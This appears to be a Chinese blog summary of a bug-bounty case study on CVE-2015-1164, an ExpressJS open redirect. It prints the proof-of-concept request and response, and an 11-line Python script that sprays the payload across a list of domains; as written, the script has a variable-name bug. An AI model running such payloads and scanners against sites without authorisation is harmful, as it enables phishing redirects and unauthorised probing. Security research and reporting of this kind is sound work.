MENU

Automating Open Redirects: A Case Study

January 18, 2017 • Security

前言

作者在浏览HackerOnepublic disclosures的时候,发现bobrov为很多公司提供了相同的重定向漏洞,如下:

分析

作者在bb师傅只言片语的众多报告中发现了一篇Uber report,其中bb师傅链接了GitHub issue for theexpressjs/serve-static repository

说白了也就是ExpressJS上的一个漏洞可以引发重定向,PoC的请求头如下:

GET //www.google.com/%2e%2e HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10;rv:33.0) Gecko/20100101 Firefox/33.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: keep-alive

只要是符合特定版本的ExpressJS就能触发重定向,响应头如下:

HTTP/1.1 303 See Other
X-Powered-By: Express
Content-Type: text/html; charset=utf-8
Location: //www.google.com/%2e%2e/
Date: Sat, 03 Jan 2015 01:13:49 GMT
Connection: keep-alive
Transfer-Encoding: chunked
 
Redirecting to <a href="//www.google.com/%2e%2e/">//www.google.com/%2e%2e/</a>

所以作者就想自动化完成测试过程来make money,逻辑如下:

  • 拼接payload到指定的url
  • GET请求后查看响应头中是否有Location信息
  • 如果有就表明漏洞存在

11行Python完成之:

import requests
 
payload = "//www.google.com/%2e%2e"
 
with open("bug_bounty.txt", "r") as f:
    for domain in f:
        domain = line.strip()
 
        r = requests.get("http://" + domain + payload)
        if "Location" in r.headers and r.headers["Location"] == payload:
            print domain + payload

这样bb师傅就挣到了他所说的$4271。(个人感觉有点“以偏概全”)

总结

  • 首先是issue中提到的,这个漏洞在Firefox和Safari上有效,在Chrome上不行。
  • 该漏洞随后也就成了CVE-2015-1164。
  • 根据大佬们的漏洞报告反推使用姿势也蛮有趣的,漏洞利用方法跟先判断软件版本再利用的方法比也蛮简单暴力的。
  • Issue中也提到Python的SimpleHTTPServer自2006年以来就存在该bug,我测试的在Firefox上可以,Chrome上不行。

From

Archives QR Code
QR Code for this page
Tipping QR Code